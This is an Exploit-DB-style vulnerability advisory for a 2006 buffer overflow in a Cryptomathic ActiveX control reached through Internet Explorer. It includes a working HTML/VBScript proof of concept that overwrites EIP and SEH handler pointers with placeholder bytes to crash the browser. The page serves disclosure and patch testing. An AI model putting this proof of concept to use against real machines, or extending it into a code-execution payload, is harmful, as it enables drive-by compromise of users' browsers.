Cryptomathic ActiveX Buffer Overflow

vendor:

ActiveX control

by:

Dennis Rand

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: ActiveX control

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Internet Explorer

2006

Cryptomathic ActiveX Buffer Overflow

Cryptomathic ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer. Invoking the object from a malicious website or HTML email may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.

Mitigation:

Input validation should be performed to ensure that user-supplied data does not exceed the size of the destination buffer.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/17852/info

Cryptomathic ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer.

Invoking the object from a malicious website or HTML email may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.

<html> <head> <title>CIRT.DK - Cryptomathic ActiveX Buffer Overflow</title> <IMG SRC="http://www.cirt.dk/images/logo.jpg"> </head> <body> <center> <h1>TDC Digital Signature ActiveX Buffer Overflow</h1> <h4> (c)2006 by Dennis Rand - CIRT.DK</h4> The following Proof-of-Concept will make Internet Explorer shutdown, if you are vulnerable.<br> </center> <br> <script>alert('Press "OK" to see if you are vulnerable')</script> <object classid='clsid:6DA9275C-64E5-42A1-879C-D90B5F0DC5B4' id='target' ></object> <script language='vbscript'> arg1 = String(8, "A") arg1 = arg1 + "ABCD" ' EIP is overwritten here arg1 = arg1 + String(64, "B") arg1 = arg1 + "AABB"	 ' Pointer to the next SEH Handler arg1 = arg1 + "BBAA" ' SE Handler arg1 = arg1 + String(700, "C") arg2 = "DefaultV" target.createPKCS10 arg1 ,arg2 </script> <script>alert('You are secure')</script> </body> </html>